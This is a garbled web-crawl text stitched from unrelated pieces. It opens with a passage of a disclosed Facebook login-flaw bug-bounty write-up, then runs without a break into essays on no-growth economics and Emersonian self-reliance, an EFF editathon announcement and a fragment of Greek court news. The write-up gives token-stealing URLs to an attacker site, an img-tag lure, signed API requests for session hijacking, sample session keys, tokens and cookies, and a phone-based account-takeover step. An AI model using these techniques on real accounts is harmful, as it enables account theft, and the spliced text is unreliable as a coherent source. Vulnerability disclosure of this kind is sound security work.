When loaded by a user who was logged in to their Facebook account, this URL would redirect the user’s auth token to the attacker’s application which is passed as a relative path in the next parameter. When used with an internal application the login URL would redirect to the Facebook subdomain that it was requested from (in this case m.facebook.com ) rather than always redirecting to www.facebook.com :
https://m.facebook.com/apps/attackersapp?auth_token={AUTH_TOKEN} 1 https : //m.facebook.com/apps/attackersapp?auth_token={AUTH_TOKEN}
The attacker’s application would then redirect to its website. It’s a feature of Facebook to include any query parameters in this redirect. This included the auth token (even if Facebook did not include query parameters in the redirect the token would still have been included in the referer):
https://attackerswebsite/?ref=unknown&auth_token={AUTH_TOKEN}#_=_ 1 https : //attackerswebsite/?ref=unknown&auth_token={AUTH_TOKEN}#_=_
Once an attacker had stolen a user’s auth token they could call auth.getSession themselves to get a session key for the user. In the above example the Facebook for Android application’s API key ( 882a8490361da98702bf97a021ddc14d ) is used in the login URL. This is an internal application used by Facebook’s Android app. Like many of Facebook’s internal applications, the Facebook for Android application has been authorized and granted full permissions for every user. This was important because a user must have already authorized the application being used before their auth token could be stolen. There were other important reasons for using the Facebook for Android application which I discuss later in this post.
The Desktop Login Flow
In the Web login flow an auth token was generated by the login URL and passed to the application via a callback URL. This was not possible for Desktop applications. In place of a callback a Desktop application would generate an auth token by calling the method auth.createToken. A user would then be directed to the login URL in their browser with the token:
https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&auth_token={AUTH_TOKEN} 1 https : //www.facebook.com/login.php?api_key={API_KEY}&v=1.0&auth_token={AUTH_TOKEN}
Like with the Web login flow, if the user had not already authorized the application they would be prompted to do so. Once the application had been authorized the auth token would be bound to the user’s account. The user would then be prompted to return to the application:
The application could then exchange the auth token (which it already had) for a session key for the user by calling auth.getSession.
There were two problems with this flow: The auth token returned by auth.createToken was just a random 32 character hexadecimal string, an attacker could generate their own token without calling the method. If a user had already authorized the application the auth token would be bound to their account automatically.
An attacker could get a user to load the login URL with the API key of an internal Facebook application that had been authorized for every user and an auth token that they had generated. The token would be bound to the user’s account. Since the attacker had generated the auth token they could then get a session key for the user by calling auth.getSession themselves. Because the call to auth.getSession did not have to be made from the user’s browser, the login URL could be loaded from anywhere where images can be embedded (a webpage, an email, a blog, a message board thread, in comments, etc.):
<img src="http://attackerswebsite/exploit">
When a user’s browser attempted to render this image it would load the attacker’s URL. Upon loading, the URL would generate an auth token and pass it to an asynchronous task. It would then redirect to the Facebook login URL with the token. When loading an img tag’s URL browsers will automatically follow a certain number of redirects. When the user’s browser followed the redirect to the login URL it would include the user’s Facebook cookies in the request. If the user was logged in to Facebook the auth token would be bound to their account. This worked because the login URL only had to be loaded for the auth token to be bound to a user’s account, it did not have to be rendered. Back on the attacker’s server, the task would wait long enough for the login URL to have been loaded by the user’s browser and would then attempt to get a session key for the user by making calls to auth.getSession with the auth token that it was passed. Once a session key had been obtained the task would log it. The end result was that any user who loaded a page that contained an img tag with the attacker’s URL while logged in to their Facebook account would have their session stolen.
From Auth Token to Account Takeover
Once an attacker had stolen a user’s auth token it needed to call auth.getSession to exchange it for a session key for the user. According to the REST API documentation this should have been impossible as the call to auth.getSession must be signed with an application’s secret, which the attacker didn’t have. Web applications can safely embed their application secret in their code but Desktop applications cannot (because client-side code is easily reverse engineered). The REST API’s solution to this problem was to require Desktop applications to have a server-side component which would make the call to auth.getSession and return the session key to the application. With the introduction of the Graph API Facebook introduced Client Tokens which replaced the need for the server-side component:
The client token is an identifier that you can embed into native mobile binaries or desktop apps to identify your app. The client token isn’t meant to be a secret identifier because it’s embedded in applications. The client token is used to access app-level APIs, but only a very limited subset. The client token is found in your app’s dashboard. Since the client token is used rarely, we won’t talk about it in this document. Instead it’s covered in any API documentation that uses the client token.
One of those app-level APIs is the auth.getSession method. A client token for the Facebook for Android application is embedded in the Facebook Android app’s APK. An attacker could decompile the APK and extract the token. The attacker could then use the token to sign calls to auth.getSession :
POST /restserver.php HTTP/1.1 Host: api.facebook.com method=auth.getsession&api_key=882a8490361da98702bf97a021ddc14d&auth_token={AUTH_TOKEN}&sig={SIGNATURE} 1 2 3 4 5 POST / restserver. php HTTP / 1.1 Host : api. facebook. com method = auth. getsession & api_key = 882a8490361da98702bf97a021ddc14d & auth_token = { AUTH_TOKEN } & sig = { SIGNATURE }
The call returns a session key, a session secret, the user’s ID, and an expiration time:
{"session_key":"decd1047aec5f853c40bf37c.0-100008390328443","secret":"7668586c1a035b41b1795c2a9b42aba2","uid":100008390328443,"expires":0} 1 { "session_key" : "decd1047aec5f853c40bf37c.0-100008390328443", "secret" : "7668586c1a035b41b1795c2a9b42aba2", "uid" : 100008390328443, "expires" : 0 }
Sessions for the Facebook for Android application have an expiration of 0 which means that they never expire (even if a user logs out). A session is only invalidated if the user changes their password. Sessions are also granted full permissions. Using their session key an attacker could call any of the REST API methods on behalf of the user. Being a deprecated API, the REST API is limited in its access as compared to the current Graph API. As part of the migration from the REST API to the Graph API Facebook provided an endpoint for application developers to convert their session keys into Graph API access tokens. This endpoint, however, requires having the actual application secret, not just a client token.
Facebook’s mobile apps use a number of private REST API methods for authentication and user functionality. These methods could be called by an attacker using a user’s stolen session key. One of these methods is auth.getSessionForApp. This method is used by the mobile apps to get new session information for a user from a cached access token. While the mobile apps call this method with an access token, it could also be called with a session key:
POST /restserver.php HTTP/1.1 Host: api.facebook.com method=auth.getsessionforapp&api_key=882a8490361da98702bf97a021ddc14d&new_app_id=350685531728&session_key={SESSION_KEY}&sig={SIGNATURE} 1 2 3 4 5 POST / restserver. php HTTP / 1.1 Host : api. facebook. com method = auth. getsessionforapp & api_key = 882a8490361da98702bf97a021ddc14d & new_app_id = 350685531728 & session_key = { SESSION_KEY } & sig = { SIGNATURE }
The call returns an access token and session cookies for the user:
{"session_key":"5.RRGb10fHwMwKAQ.1405482281.145-100008390328443","uid":100008390328443,"secret":"f08161791f178b88dbd756f0b181c529","access_token":"CAAAAUaZA6jlABAOcpfpc32f2ghkGC4sA2ZBOiLnBCrWCXAaBv9BiWoVsZC50ON4CtZBaqpA0ZAvDoZBWq4WeZCVkbPEzS4PZc5GGtu5ne4y4t0uMGM2ZAIlalwiZAxk2yLMakA50ejphd7trGZBIAIHgkL45pqZCcZBcSD3oVI9QB2iaC8us2gfdEG34rDwfzMLjIjIzZD","session_cookies":[{"name":"c_user","value":"100008390328443","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"fr","value":"0pvpMEx9iOGi0j3WG.AVWCUvS7pUYSzaLCYgvE0WmMA29.BTvGmH.rW.AAA.AVWBQAlf","expires":"Wed, 27 Aug 2014 17:54:32 GMT","expires_timestamp":1409162072,"domain":".facebook.com","path":"\/"},{"name":"xs","value":"145:RRGb10fHwMwKAQ:2:1405482281:18064","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"csm","value":"2","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/"},{"name":"datr","value":"WI7MU20avMWObNAhbmT0AYjX","expires":"Wed, 27 Jul 2016 17:54:32 GMT","expires_timestamp":1469642072,"domain":".facebook.com","path":"\/"}]} 1 { "session_key" : "5.RRGb10fHwMwKAQ.1405482281.145-100008390328443", "uid" : 100008390328443, "secret" : "f08161791f178b88dbd756f0b181c529", "access_token" : "CAAAAUaZA6jlABAOcpfpc32f2ghkGC4sA2ZBOiLnBCrWCXAaBv9BiWoVsZC50ON4CtZBaqpA0ZAvDoZBWq4WeZCVkbPEzS4PZc5GGtu5ne4y4t0uMGM2ZAIlalwiZAxk2yLMakA50ejphd7trGZBIAIHgkL45pqZCcZBcSD3oVI9QB2iaC8us2gfdEG34rDwfzMLjIjIzZD", "session_cookies" : [ { "name" : "c_user", "value" : "100008390328443", "expires" : "Tue, 28 Jul 2015 17:54:32 GMT", "expires_timestamp" : 1438106072, "domain" : ".facebook.com", "path" : "\/", "secure" : true }, { "name" : "fr", "value" : "0pvpMEx9iOGi0j3WG.AVWCUvS7pUYSzaLCYgvE0WmMA29.BTvGmH.rW.AAA.AVWBQAlf", "expires" : "Wed, 27 Aug 2014 17:54:32 GMT", "expires_timestamp" : 1409162072, "domain" : ".facebook.com", "path" : "\/" }, { "name" : "xs", "value" : "145:RRGb10fHwMwKAQ:2:1405482281:18064", "expires" : "Tue, 28 Jul 2015 17:54:32 GMT", "expires_timestamp" : 1438106072, "domain" : ".facebook.com", "path" : "\/", "secure" : true }, { "name" : "csm", "value" : "2", "expires" : "Tue, 28 Jul 2015 17:54:32 GMT", "expires_timestamp" : 1438106072, "domain" : ".facebook.com", "path" : "\/" }, { "name" : "datr", "value" : "WI7MU20avMWObNAhbmT0AYjX", "expires" : "Wed, 27 Jul 2016 17:54:32 GMT", "expires_timestamp" : 1469642072, "domain" : ".facebook.com", "path" : "\/" } ] }
The access token is granted full Graph API permissions. An attacker could use the access token to call any of the Graph API’s endpoints. The session cookies could be used by the attacker to login to the user’s account directly.
Even with the ability for an attacker to login to a user’s account, there are still some features that require knowing the user’s password. Facebook’s Android app allows a user to add a new phone number to their account. It does this by calling the method user.confirmPhone. This method does not require the user’s current password. An attacker could call this method to add their own number to a user’s account:
POST /restserver.php HTTP/1.1 Host: api.facebook.com method=user.confirmphone&api_key=882a8490361da98702bf97a021ddc14d&code={CODE}&session_key={SESSION_KEY}&sig={SIGNATURE} 1 2 3 4 5 POST / restserver. php HTTP / 1.1 Host : api. facebook. com method = user. confirmphone & api_key = 882a8490361da98702bf97a021ddc14d & code = { CODE } & session_key = { SESSION_KEY } & sig = { SIGNATURE }
The method is passed the phone confirmation code that is returned from texting F to 32665 (in the US). Once a phone had been added to a user’s account, the attacker could initiate a password reset request for the user and use the “Text me a code to reset my password” option to have a code sent to newly added number:
Disclosure
I reported the vulnerability in the Desktop login flow to Facebook on May 3rd and the vulnerability in the Web login flow on May 9th. A temporary fix for Desktop login flow was put in place by Facebook on May 4th. Both issues were fixed permanently on May 21st. The issues took longer to fix than the API endpoint issue that I documented in part one as the flows were still being used by many older Facebook applications and could not simply be disabled. For the two issues a combined bounty of $20,000 (2x $10,000) was awarded by Facebook as part of its Bug Bounty Program.
TimelineSOME OF their conclusions are surprisingly pleasant. For example, to move away from growth, we’ll all have to work a lot less. That’s because no-growth economists agree with mainstream economists on one big point: Technological advances make workers more productive every year. In the mainstream view, these labor efficiencies make goods cheaper, which leaves consumers with more disposable income—which they invest or spend on more stuff, leading to more hiring to fulfill demand. By contrast, the no-growthers would do things differently; they would use those efficiencies to shorten the workweek, so that most people would stay employed and bring home a reasonable salary. If new technology continued to drive productivity gains, citizens in a nongrowing economy would actually work less and less over time as they divvied up the shrinking workload.
Handled correctly, this could bring about an explosion of free time that could utterly transform the way we live, no-growth economists say. It could lead to a renaissance in the arts and sciences, as well as a reconnection with the natural world. Parents with lighter workloads could home-school their children if they liked, or look after sick relatives—dramatically reshaping the landscape of education and elder care. (Some steady-state thinkers argue that these typically unpaid forms of domestic labor ought to be included in GDP calculations and even subsidized by the government, since they contribute so heavily to national well-being.)
In 1982, Dutch business and labor leaders struck a deal encouraging people to work fewer hours. What followed came to be known as the “Dutch miracle.”
Viewed this way, a nongrowing economy could have broad political appeal, ushering in the sort of togetherness and family values that social conservatives celebrate. Liberals might appreciate the concept of work sharing, which could help narrow the income gap between rich and poor. Indeed, some countries have already edged towards this vision. In 1982, labor unions in the Netherlands agreed to limit demands for higher pay in exchange for policies encouraging people to work less. Within a decade, the proportion of Dutch citizens working part-time soared from 19 percent to 27 percent, the average workweek fell from 30 to 27 hours, and unemployment had plummeted from 10 percent to 5 percent. (They called it “the Dutch miracle.”) Work sharing also has a pedigree in times of crisis: In Austria and Germany, the Kurzarbeit laws let employers avoid layoffs by scaling back people’s hours and pay—10 percent less money, say, for 10 percent less work. The government then steps in and covers the salary difference.
The types of work available (and your take-home pay) would change significantly in a no-growth scenario. To prevent global warming and resource depletion, no-growthers favor heavily taxing carbon and other pollutants. At the same time, they want the government to invest in clean energy as part of a “Green New Deal” that also encourages private-sector investment to move people into labor-intensive jobs—entertainer, preventive health worker, artisan manufacturer, organic farmer, nurse—that consume relatively few raw materials.
So working less is the fun (or at least the more doable) part. The hard part is that we would be consuming less—probably far less.
What does that mean, exactly? Daly has suggested that Americans would need to scale back our energy consumption to 1960s levels (assuming we stick to a predominantly fossil-fueled economy). Victor, for his part, points out that 1983 was the last year that “the world economy was just at the level of the capacity of the planet to support it.” Since then, of course, world population has exploded and global resources have dwindled even further.
Beyond these big-picture parameters, none of the experts has really crunched the numbers to envision what daily life might be like in a no-growth world—though they agree that it’s something people had better start thinking about.
For starters, they say, Western consumption rates would need to shrink disproportionately so that citizens of countries like India and El Salvador could enjoy a lifestyle upgrade. Why? The no-growthers argue that a world with fewer yawning inequities between the rich and poor would be more stable; but quite apart from that, their models require stabilizing world population, and raising the economic lot of the poor is a proven way to do that.
Given the shift in wealth needed to accomplish this, Americans would need to turn back the clock to well before 1983; in fact, we’d be pretty lucky even to find ourselves where we were in 1960—when the median family made $35,994 in today’s dollars (versus $61,932 in 2008).
Hardly the plenitude we’re accustomed to. Still, technological advances mean that your dollar buys a lot more than it did back then. For a couple of bucks, you can score a pocket calculator that does things it once took a million-dollar university machine to accomplish. “We’re better at making things now,” Victor says, so our living standards would be considerably higher than this figure suggests.
In a no-growth economy, as Daly points out, we would still consume new stuff—just at a much slower pace. People might need to develop a renewed appreciation for durable goods that require lots of labor to make but ultimately use fewer resources than their throwaway counterparts. We would also have to evolve away from “positional” consumption—feeling good because you possess something the Joneses don’t.
So maybe hipsters won’t be buying the latest iPhone every 12 months. Or perhaps we’ll seek more fulfillment through activities with a lighter footprint—sports, music, hiking. The vexing reality is that the no-growth thinkers simply don’t know how things would shake out. We don’t have any realistic examples to learn from, after all. In the past, the only no-growth societies were agrarian or consisted of |
must be myself. I cannot break myself any longer for you, or you. If you can love me for what I am, we shall be the happier. If you cannot, I will still seek to deserve that you should.” –Ralph Waldo Emerson, Self-Reliance
When we deny ourselves we begin to mutate into something disgusting. Like a geisha’s foot broken and bound, our spirits become contorted and confused. We lose power each time we “break” ourselves for other people.
Self-reliance means refusing to let your soul wither away because those around you have a different idea of what you should be like. It means finding those whose wants are your wants. Finding space to live by your nature.
Of course self-reliance is not about feeding the worst parts of ourselves. The lazy, stagnant urges that would lead to the decay of our bodies and souls. Self-reliance is about overcoming and exertion of the will. This isn’t about a trainer telling you to do a pushup and you refusing because it’s “not your nature.” It’s about resisting boring bestsellers to follow your own interests. Or bravely defending an unpopular opinion you believe to be true, but for which others judge you.
It’s about listening to the little voice within us with an idea for a business — not the one that tells you to fall in line.
Embracing Self-Reliance
“What I must do is all that concerns me, and not what people think.” –Ralph Waldo Emerson
Intentional Introspection
Venkatesh Rao made an unpopular observation in The Calculus of Grit: “Humans don’t suddenly become super-human just because the environment suddenly seems to demand superhuman behavior for survival. Those who attempt this kill themselves just as surely as those dumb kids who watch a superman movie and jump off buildings hoping to fly.”
No matter how much we hoot and holler, we can’t do what we can’t do. When the world tells you you must jump, you ought to be able to say, “Nah.” We’re better off focusing on doing what we do best than wishing we could do what we can’t. Rao continues:
“It is the landscape of your owns strengths that matters. And you can set your own, completely human pace through it.”
How might we do this? Rao recommends a new behavior and new belief that will help us along the way:
“The only truly new behavior you need is increased introspection. And yes, this will advantage some people over others. To avoid running faster and faster until you die of exhaustion, you need to develop an increasingly refined understanding of this landscape as you progress.”
Action is a part of self-reliance, but so is introspection, else how will you know what action to take? We’ve got to remain fixed on our own path, and can’t know what that path is unless we’re tuned into our true wants and desires, and are able to admit that those aims are valid — even if they’re not connected to the kind of status markers of which society typically approves.
Set Your Own Law
“Do what thy manhood bids thee do, from none but self expect applause;
He noblest lives and noblest dies who makes and keeps his self-made laws.
All other Life is living Death, a world where none but Phantoms dwell.
A breath, a wind, a sound, a voice, a tinkling of the camel-bell.” –Richard Francis Burton
The result of introspection is the ability to set your own law for yourself.
This doesn’t necessarily mean creating an inner scorecard from the ether, nor does it rule out the existence of a divine, absolute law. It does necessitate rejecting the default laws of mainstream society and biology, in order to consciously and intentionally choose your own.
This is hardly an easy project. Carl Jung recognized the difficulty and even danger of claiming your own path:
“He is once set apart and isolated, as he has resolved to obey the law that commands him from within. “His own law!” everybody will cry. But he knows better: it is the law. …”
Anyone who lives their own law and begins down their own path will experience being “apart and isolated” intensely. As social beings it hurts terribly to break ideologically with those we love. Those without resolve will turn back — but unchanged and without any reward, just a gnawing sense that something is “off.”
Once we begin down our own path we must finish — and when we do we’ll be rewarded greatly. In fact, Jung believes this is the most important thing we can do:
“The only meaningful life is a life that strives for the individual realization — absolute and unconditional — of its own particular law…. To the extent that a man is untrue to the law of his being…he has failed to realize his life’s meaning.”
Live Now, Don’t Defer Life
“If our young men miscarry in their first enterprises, they lose all heart. If the young merchant fails, men say he is ruined. If the finest genius studies at one of our colleges, and is not installed in an office within one year afterwards in the cities or suburbs of Boston or New York, it seems to his friends and to himself that he is right in being disheartened, and in complaining the rest of his life. A sturdy lad from New Hampshire or Vermont, who in turn tries all the professions, who teams it, farms it, peddles, keeps a school, preaches, edits a newspaper, goes to Congress, buys a township, and so forth, in successive years, and always, like a cat, falls on his feet, is worth a hundred of these city dolls. He walks abreast with his days, and feels no shame in not ‘studying a profession,’ for he does not postpone his life, but lives already. He has not one chance, but a hundred chances.” –Ralph Waldo Emerson, Self-Reliance
Don’t wait to live. Don’t wait for permission. Don’t wait for an undefined number of ducks to line up.
We will all die soon enough, it’s silly to die earlier by postponing life. Our path is likely to be circuitous but that doesn’t mean we need wait to come alive. Self-reliance means that our life isn’t diminished because we haven’t reached a goal yet.
If our life doesn’t currently match some dream handed down to us by society, we’re not helped by kicking ourselves over it. A self-reliant person is more pragmatic than that: he looks around and sees what he might do.
Self-reliance doesn’t mean we’re certain about what will happen in the future, but that we’re certain of ourselves. Emerson promises that this self-trust will bring us “new powers”:
“Let a Stoic open the resources of man, and tell men they are not leaning willows, but can and must detach themselves; that with the exercise of self-trust, new powers shall appear; that a man is the word made flesh, born to shed healing to the nations, that he should be ashamed of our compassion, and the moment he acts from himself, tossing the laws, the books, idolatries, and customs out of the window, we pity him no more, but thank and revere him, and that teacher shall restore the life of man to splendor, and make his name dear to all history.”
This kind of focus on the problem at hand is used by some of the best sports coaches in the world. Bill Walsh’s book The Score Will Take Care of Itself dedicates its title to the idea. Phil Jackson describes in Eleven Rings how he’d make his team focus all their energies on the current practice or current game and not on any championships. He even had his team, some of the best athletes in history, meditate in order to do this more effectively. The best way to a better future is focusing on the current step, which is only available in the present moment.
Take Yourself Seriously
“A man should learn to detect and watch that gleam of light which flashes across his mind from within, more than the lustre of the firmament of bards and sages. Yet he dismisses without notice his thought, because it is his. In every work of genius we recognize our own rejected thoughts: they come back to us with a certain alienated majesty.” –Ralph Waldo Emerson, Self-Reliance
We’re not talking about taking yourself seriously in a self-conscious way, but in a “I belong here” way.
Taking yourself too seriously means believing in the absolute importance of your ideas to the exclusion of the kind of self-awareness that evinces humility, flexibility, and a honest recognition of the weaknesses of your viewpoint.
Not taking yourself seriously enough means dismissing all of your ideas, opinions, and desires as unimportant if they don’t align with what’s popular or promoted by “experts.”
Taking yourself seriously in a healthy way means lending credence to the fact that your ideas, opinions, and desires just might be important and have some worth — at least for you. You belong here just as much as anybody else.
We’ve all seen successful businesses started out of ideas we thought of years before. Or books written expressing an idea we came up with forever ago.
It’s not just that our ideas remain unrealized when we don’t take ourselves seriously enough, but our whole view of life becomes muddled because we’ve given more power to what others say about the world than to what we see in the world. The Indian sage Jiddu Krishnamurti said, “The primary cause of disorder in ourselves is the seeking of reality promised by another.” Instead of seeking realities expressed by others, we’re better off shaping the one we perceive in the best way possible.
Self-reliance means using the ideas that arise from within, rather than deferring exclusively to those which arrive from without.
Respect Your Experience
Self-reliance means you no longer reject your life. There are two pieces to this. The first is about respecting your place in the current environment and the second is about taste.
Emerson explains the first:
“There is a time in every man’s education when he arrives at the conviction that envy is ignorance; that imitation is suicide; that he must take himself for better, for worse as his portion; that though the wide universe is full of good, no kernel of nourishing corn can come to him but through his toil bestowed on that plot of ground which is given to him to till. The power which resides in him is new in nature, and none but he knows what that is which he can do, nor does he know until he has tried.”
This is the “lemon out of lemonade” piece. If we envy another we are failing to appreciate some aspect of our lives, or seeing a downside of the other’s. If we try to be another we are killing our own potential.
Everything we can make out of our life begins right here, right now. That means our current attitude, effort, ideas, aptitudes, economic environment, etc. We must begin where we are, and to do that well, we must respect the material we’ve got to work with.
Emerson goes on to discuss the importance of respecting our tastes:
“I will not hide my tastes or aversions. I will so trust that what is deep is holy, that I will do strongly before the sun and moon whatever inly rejoices me, and the heart appoints. If you are noble, I will love you; if you are not, I will not hurt you and myself by hypocritical attentions. If you are true, but not in the same truth with me, cleave to your companions; I will seek my own. I do this not selfishly, but humbly and truly.”
He does not claim to have a monopoly on truth but exhorts us to respect our own experiences, perspectives, and tastes.
We don’t need to all be on the same page, but we ought to respect the page we’re on.
We can respect the diversity of ideas, but also respect the fact that not all ideas are ultimately reconcilable. We can celebrate their distinctiveness, rather than trying to harmonize everything into a single watered-down, universal strand. We can unapologetically “cleave” to friends who exult in and find “holy” the same things we do.
Self-reliance means realizing that your desires and tastes are valid. You are valid — with or without an external stamp of approval.
Self-reliance depends on your respect for your experience — but it flourishes with your love for your experience.
Nietzsche’s “formula for human greatness,” amor fati — “love of fate” — may be the most potent expression of this idea that we “say yes to life.” He discussed it in The Gay Science:
“I want to learn more and more to see as beautiful what is necessary in things; then I shall be one of those who make things beautiful. Amor fati: let that be my love henceforth! I do not want to wage war against what is ugly. I do not want to accuse; I do not even want to accuse those who accuse. Looking away shall be my only negation. And all in all and on the whole: some day I wish to be only a Yes-sayer.”
Trust Your Path
“The voyage of the best ship is a zigzag line of a hundred tacks. See the line from a sufficient distance, and it straightens itself to the average tendency. Your genuine action will explain itself, and will explain your other genuine actions. Your conformity explains nothing. Act singly, and what you have already done singly will justify you now.” –Ralph Waldo Emerson
I don’t need to tell you that life doesn’t care much about the plans you make. We think we want one thing and it turns out we want another. We think we’d be good at one thing and we discover a whole other set of strengths. You may even discover that how you travel your path is more important than which path you travel; when deciding between taking two seemingly equally good directions, the posture you walk with can matter more than which path you choose.
We do not always know where our actions will take us, but we can learn to trust that our “genuine actions” will lead us where we need to be. It’s not the next place that’s most important, it’s the totality of our lives that matter in the end. Emerson put it this way: “The force of character is cumulative.”
Trusting in our path can be incredibly difficult, especially when the world demands we walk theirs. Perhaps the things that motivate other people don’t motivate us the same way. Emerson:
“And truly it demands something godlike in him who has cast off the common motives of humanity, and has centered to trust himself for a taskmaster. High be his heart, faithful his will, clear his sight, that he may in good earnest be doctrine, society, law, to himself, that a simple purpose may be to him as strong as iron necessity is to others!”
And it does demand something “godlike” to “cast off the common motives of humanity.” We are all wired to want the same basic things. Even if you cannot totally trust yourself as your “taskmaster,” it’s worth claiming the role as fully as possible.
It takes faith to listen to and trust in that quiet inner voice, especially when it sends us off in seemingly unrelated directions This can be the voice of conscience, the voice of experience, or the voice of the divine. A theist might hear their inner voice as God’s instead of their own, but the task of trusting and following these promptings, rather than dismissing them, remains.
Proverbs 3:5-6 (KJV) describes the task this way:
“Trust in the Lord with all thine heart; and lean not unto thine own understanding.
In all thy ways acknowledge him, and he shall direct thy paths.”
No matter the source of the “still small voice” that nudges us this way and that, we must find faith in the zig-zagging paths of our lives. Without that faith we’ll fall victim to anyone who pretends to know where we ought to be heading. Those who give us directions, whether with good intentions or bad, always rob us of a self-reliant posture.
One must remain true “to the law of his being.” The winding, sometimes circling, path will make sense if we allow ourselves to zig and zag with an upright posture.
Tend Your Garden
“Panglass sometimes said to Candide: ‘There is a concentration of events in this best of all possible worlds: for if you had not been kicked out of a magnificent castle for love of Miss Cunegonde: if you had not been put into the Inquisition: if you had not walked over America: if you had not stabbed the Baron: if you had not lost all your sheep from the fine country of El Dorado: you would not be here eating preserved citrons and pistachio-nuts.’ ‘All that is very well,’ answered Candide, ‘but let us cultivate our garden.'” –Voltaire, Candide
The best investing duo of all time, Warren Buffett and Charlie Munger, have said that, “Microeconomics is what you do. Macroeconomics is what you put up with.” They make all their investment decisions based on microeconomics and only study macroeconomics because it’s interesting to them.
The news and many authors would have us reverse that equation. We are convinced that it is terribly important we understand all of what’s going on in the world every single day. More often than not, headlines are distractions–and not enjoyable ones. They convince us the world is burning and that we ought to fear our neighbors. They convince us that the economy is in the dumps and there are no jobs, so why even try?
Of course, these things may affect our lives to some degree, but won’t they affect us with or without prior knowledge? And won’t the time we spent learning and worrying about them have been better spent working to improve our situation?
If I get too lost in “big idea” books about changes coming in the economy I will find myself disconnected from what is working now, focused too much on what might work in a few years. Objects in the mirror may appear larger than they are.
Next time someone begins a clever, complex explanation for why we’re in the situation we’re in, we’d do well to remember Candide’s response: “All that is very well…but let us cultivate our garden.”
Rely Less on Best Practices
“Insist on yourself; never imitate.” –Ralph Waldo Emerson
When we focus on tending our own garden we naturally stop trying to find the perfect hack for every situation. Instead, we move forward in the best way we know how and inevitably come up with unique solutions.
“Shakespeare will never be made by the study of Shakespeare,” Emerson wrote. “Do what is assigned to you and you cannot hope too much or dare too much.”
In a world with Big Data, best practices rule. You can’t argue for design A when design B has proven to be more effective, and normally you shouldn’t. At some point, though, the next Marvel movie isn’t interesting anymore — we want more like “Don’t Think Twice.”
Aristotle said, “To avoid criticism, say nothing, do nothing, be nothing.” Today he may have added “and follow best practices.” Nobody blames someone who fails doing the thing that was supposed to work. Yet every industry depends on people doing the unpopular thing to find ways forward.
Best practices may supply you with a starting point. They may even often be the best way forward. The trick is to not let them dull us or hold us back.
(Clarifying note: best practices are best practices for a reason. Most successful companies don’t innovate, but copy in clever ways. Bob Dylan’s first album had no original songs on it — but he made each of those songs his own. We should always do what’s working as long as we can be ourselves while we do it. Often, originality doesn’t mean coming up with something totally novel, but combining tried and true elements in a new way — a creative endeavor that becomes impossible if you become a slave to the experts who say the best method has already been discovered and can never be altered or improved upon.)
Go All the Way
“We but half express ourselves, and are ashamed of that divine idea which each of us represents. It may be safely trusted as proportionate and of good issues, so it be faithfully imparted, but God will not have his work made manifest by cowards. A man is relieved and gay when he has put his heart into his work and done his best; but what he has said or done otherwise, shall give him no peace. It is a deliverance which does not deliver. In the attempt his genius deserts him; no muse befriends; no invention, no hope.” –Ralph Waldo Emerson, Self-Reliance
The best parts of ourselves disappear when we don’t put our heart into our work.
Because self-reliance trusts personal experience, it isn’t plagued by doubt. It’s able to move forward full-throttle. It denies half-measures. It goes deep.
Our best shot at getting old without too much regret is to go all the way. Knowing we tried with everything we had will be enough to stave off disappointment if it turns out we don’t make it.
It’s also our best shot at doing anything interesting in life. Interesting work rarely happens at 70% or even 90%.
It’s about burning the ships.
Yes, calculations should be made. Yes, we might fail. Yes, it’s scary.
Just repeat:
God will not have his work made manifest by cowards.
God will not have his work made manifest by cowards.
God will not have his work made manifest by cowards.
…
This Is Where You’re Supposed to Be
“Trust thyself: every heart vibrates to that iron string. Accept the place the divine providence has found for you, the society of your contemporaries, the connection of events. Great men have always done so, and confided themselves childlike to the genius of their age, betraying their perception that the absolutely trustworthy was seated at their heart, working through their hands, predominating in all their being. And we are now men, and must accept in the highest mind the same transcendent destiny; and not minors and invalids in a protected corner, not cowards fleeing before a revolution, but guides, redeemers, and benefactors, obeying the Almighty effort, and advancing on Chaos and the Dark.” –Ralph Waldo Emerson, Self-Reliance
Self-reliance is the kind of self-trust that enables us to embrace the world we find ourselves in.
It’s trust that we can participate in whatever “the new economy” means right now. It’s trust that we can find or create opportunity whenever faced with “Chaos and the Dark.”
It respects the cycles. Economic cycles, emotional cycles, and seasons of life.
It means starting where you are: right here, right now, as you are.
Remember, “envy is ignorance, imitation is suicide.” There’s no better life you could inhabit right now, not for you. There’s no better time or place you could have been born. There’s no better set of mistakes (“zigzags”) you could have made in the past.
There’s no better You to be.
There’s only the opportunity to develop a more perfect trust in yourself.
“Life is too short to waste…
‘Twill soon be dark;
Up! Mind thine own aim, and
God speed the mark!” –Ralph Waldo Emerson
Kyle Eschenroeder is a writer who has been an entrepreneur, day trader, and whatever else sounded good at the time. Tweet him @kyleschen.Saturday, August 23, EFF will join Wikimedia Mexico, Rancho Electronico, Contingente MX, Fundación Karisma, Panoptykon Foundation, Hackbo, Enjambre Digital, RedPaTodos and May First Mexico to edit and improve the Spanish text of digital rights-related articles on Wikipedia. Joining from Mexico City, hackerspace Rancho Electronico will be hosting its own “editathon,” while hackerspace Hackbo will follow suit in Bogotá, Colombia. This event will be a great collaboration between two hackerspaces in Latin America, along with several digital rights organizations and Wikipedians, who will work together to revise the Spanish content in digital rights entries on Wikipedia.
"Editathons" are hackathons where participants edit Wikipedia entries on a given topic. The goal of this “editathon” is for people to learn how to use and improve Wikipedia articles while increasing the digital rights content on the internet encyclopedia. This event is open to the public and will likely last throughout the evening. If you are Mexican or Colombian, help us expand and improve Wikipedia on digital rights issues in Spanish!
Find more information about the editathon here. EFF’s own Katitza Rodriguez and Leez Wright will both be in Bogotá for this event; join them for a day of editing and creating!
When: Saturday, August 23, 2014
Time: 3:00pm (Mexico and Bogotá)
Where: Rancho Electronico / CriptoRally: Fray Juan de Torquemada 76 Entre Bolivar e Isabel La Católica, Mexico DF
Hackbo: Cll 44 No 8-50 oficina 201 Barrio Javeriana, Bogota, ColombiaA Greek court yesterday handed down 18 months' imprisonment to a strawberry farm owner and three foremen for involvement in the shooting of 32 Bangladeshis, said the Bangladesh ambassador in Athens.
He had called on Greek Minister for Public Order and Citizens Protection Nikolaos Dendias earlier yesterday, Ambassador Golam Mohammad told BSS by phone.
